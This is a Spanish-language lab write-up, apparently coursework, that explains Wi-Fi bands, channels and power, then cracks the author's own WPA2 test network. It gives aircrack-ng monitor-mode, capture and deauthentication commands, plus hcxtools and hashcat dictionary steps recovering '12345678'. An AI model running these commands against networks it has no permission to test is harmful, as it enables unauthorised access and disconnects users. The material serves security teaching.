Redes WI-FI

En este documento se explicarán los pasos a seguir para intentar obtener, mediante un ataque de fuerza bruta offline, una contraseña insegura de una red protegida con WPA2.

Aviso: Este ejercicio ha sido realizado en un entorno privado de pruebas.

Utilidades necesarias#

Como paso previo antes de avanzar en la parte práctica, es necesario disponer de las siguientes utilidades:

Bandas canales, e intensidad#

Teniendo acceso a la interfaz de administración de un Punto de Acceso (AP), es posible configurar, en mayor o menor medida, distintos parámetros que influyen directamente en el comportamiento, el rendimiento y la estabilidad de una red Wi‑Fi. Entre los más importantes se encuentran la banda de frecuencia, el canal y la potencia de transmisión.

Antes de entrar en materia, conviene situarnos en el contexto de las redes inalámbricas más comunes.

Bandas Wi‑Fi: 2.4 GHz y 5 GHz#

Las redes Wi‑Fi modernas suelen operar principalmente en dos bandas:

• 2.4 GHz
• 5GHz

En la siguiente imagen se muestra un ejemplo de una red operando en la banda de 2.4 GHz:

Al monitorizar las redes inalámbricas cercanas se puede observar claramente cómo múltiples redes comparten el mismo espectro radioeléctrico:

La red que me pertence es Hotel-Inaki que se encuentra en el canal 3.

Adicionalmente, se ha añadido una red que opera en la banda de 5 GHz para aprovechar mayor velocidad y menor saturación:

La red Hotel‑Premium-5G se encuentra en el canal 153, mostrando un espectro mucho más limpio y estable en comparación con la banda de 2.4 GHz:

Canales#

Un aspecto fundamental a revisar es el canal en el que opera la red. En la banda de 2.4 GHz, muchos canales se solapan entre sí, lo que provoca interferencias cuando varias redes utilizan frecuencias cercanas.

Una red situada en un canal saturado no “se cae”, pero sí ve afectada su velocidad, latencia y estabilidad.

El canal puede modificarse desde la interfaz de configuración del Punto de Acceso:

Tras realizar el cambio, el efecto se refleja inmediatamente en las herramientas de monitorización:

Se observa que el campo CH, canal, ha cambiado al 11 en la red Hotel-Inaki.

Intensidad#

Otro parámetro relevante es la intensidad o potencia de transmisión.

Desde la interfaz del AP, generalmente es posible ajustar este valor:

Poner la interfaz en modo monitor#

Para poder analizar el tráfico inalámbrico, es necesario configurar la tarjeta Wi‑Fi en modo monitor.

Usando la suite de Aircrack-ng, primero se debe garantizar que ningún proceso interfiera con la interfaz de red:

sudo airmon-ng check kill

A continuación, se cambia la interfaz a modo monitor:

sudo airmon-ng start wlan0

Dependiendo del tipo de tarjeta de red, el nombre de la interfaz puede cambiar. En este caso, en un sistema Arch Linux con una tarjeta Wi‑Fi PCI‑E de ASUS con chipset Realtek, el nombre de la interfaz se mantiene.

$ lspci | grep -i network
04:00.0 Network controller: Realtek Semiconductor Co., Ltd. RTL8812AE 802.11ac PCIe Wireless Network Adapter (rev 01)

Escanear redes#

Una vez configurada la interfaz, se procede a escanear las redes disponibles:

sudo airodump-ng wlan0

La red objetivo de pruebas es VodafoneRED-Inaki, como se observa en la salida del escaneo:

De la salida, hay varios conceptos importantes que cabe destacar:

Obtener el WiFi Handshake#

Qué es#

Una vez se dispone de la información pertinente sobre la red, es hora de capturar un Wi‑Fi Handshake.

Para entender qué es, hay que saber que, para que se establezca una conexión entre el Punto de Acceso y un cliente, se realiza un 4‑Way Handshake, en el que se intercambian los parámetros necesarios para derivar y validar las claves de cifrado, sin compartir directamente la contraseña.

He aquí un esquema:

Capturar este handshake es extremadamente útil, ya que permite realizar ataques de diccionario offline para intentar obtener la contraseña de la red.

Capturarlo con airodump-ng#

Dentro de las distintas maneras de capturar un handshake, una de ellas consiste en forzar la reconexión de los clientes enviando paquetes de desautenticación a la red objetivo.

Conociendo el canal, la dirección MAC del punto de acceso y teniendo la interfaz en modo monitor, se lanza airodump-ng:

sudo airodump-ng -c 40 --bssid 92:60:66:9F:43:25 -w ~/Documents/2ASIR3/WiFi/ wlan0

Este comando permite escuchar el tráfico inalámbrico asociado a ese punto de acceso y capturar posibles handshakes.

En la salida de airodump-ng aparecen varios campos importantes:

Mientras este proceso se mantiene en ejecución, se pueden enviar paquetes de desautenticación para forzar la reconexión de los clientes y provocar un 4‑Way Handshake:

$ sudo aireplay-ng --deauth 10 -a 92:60:66:9F:43:25 wlan0
20:39:06 Waiting for beacon frame (BSSID: 92:60:66:9F:43:25) on channel 40
20:39:09 Sending DeAuth (code 7) to broadcast -- BSSID: [92:60:66:9F:43:25]
20:39:09 Sending DeAuth (code 7) to broadcast -- BSSID: [92:60:66:9F:43:25]
20:39:10 Sending DeAuth (code 7) to broadcast -- BSSID: [92:60:66:9F:43:25]
20:39:10 Sending DeAuth (code 7) to broadcast -- BSSID: [92:60:66:9F:43:25]
...

Durante la captura se observa la aparición del mensaje PMKID:

En muchos casos se captura un EAPOL, correspondiente al 4‑Way Handshake. Sin embargo, en este caso se ha capturado un PMKID (Pairwise Master Key Identifier), el cual no requiere clientes conectados y puede obtenerse escuchando pasivamente al punto de acceso.

Por este motivo, el envío de paquetes de desautenticación no ha sido necesario para la obtención del material válido para el ataque offline.

Obtener la contraseña#

Una vez capturado el material necesario, se procede a convertir la captura a un formato compatible con Hashcat.

En primer lugar, se extraen los hashes PMKID/EAPOL del archivo de captura:

hcxpcapngtool -o pmkid.16800 captura-02.cap 

A continuación, se convierte el archivo al formato moderno 22000, recomendado por Hashcat:

hcxhashtool -i pmkid.16800 -o pmkid.22000 

Una vez generado el hash, se lanza el ataque de diccionario utilizando Hashcat:

$ hashcat -m 22000 pmkid.22000 /usr/share/seclists/Passwords/WiFi-WPA/probable-v2-wpa-top4800.txt
hashcat (v7.1.2) starting

OpenCL API (OpenCL 3.0 PoCL 7.1  Linux, Release, RELOC, LLVM 20.1.8, SLEEF, DISTRO, CUDA, POCL_DEBUG) - Platform #1 [The pocl project]
======================================================================================================================================
* Device #01: cpu-haswell-12th Gen Intel(R) Core(TM) i5-12600K, 13884/27768 MB (13884 MB allocatable), 16MCU

Minimum password length supported by kernel: 8
Maximum password length supported by kernel: 63
Minimum salt length supported by kernel: 0
Maximum salt length supported by kernel: 256

Hashes: 2 digests; 2 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:
* Zero-Byte
* Single-Salt
* Slow-Hash-SIMD-LOOP

Watchdog: Temperature abort trigger set to 90c

Host memory allocated for this attack: 516 MB (25611 MB free)

Dictionary cache hit:
* Filename..: /usr/share/seclists/Passwords/WiFi-WPA/probable-v2-wpa-top4800.txt
* Passwords.: 4800
* Bytes.....: 45276
* Keyspace..: 4800

56f21c5270e005455a7630d105109136:9260669f4325:36fb4431d878:vodafoneRED-INAKI:12345678
dc5c683fdda182ea2e265df7a398b312:9260669f4325:36fb4431d878:vodafoneRED-INAKI:12345678
                                                          
Session..........: hashcat

En este caso, la contraseña de la red es 12345678, lo que demuestra el uso de una clave extremadamente débil, vulnerable a ataques de diccionario simples realizados de forma offline.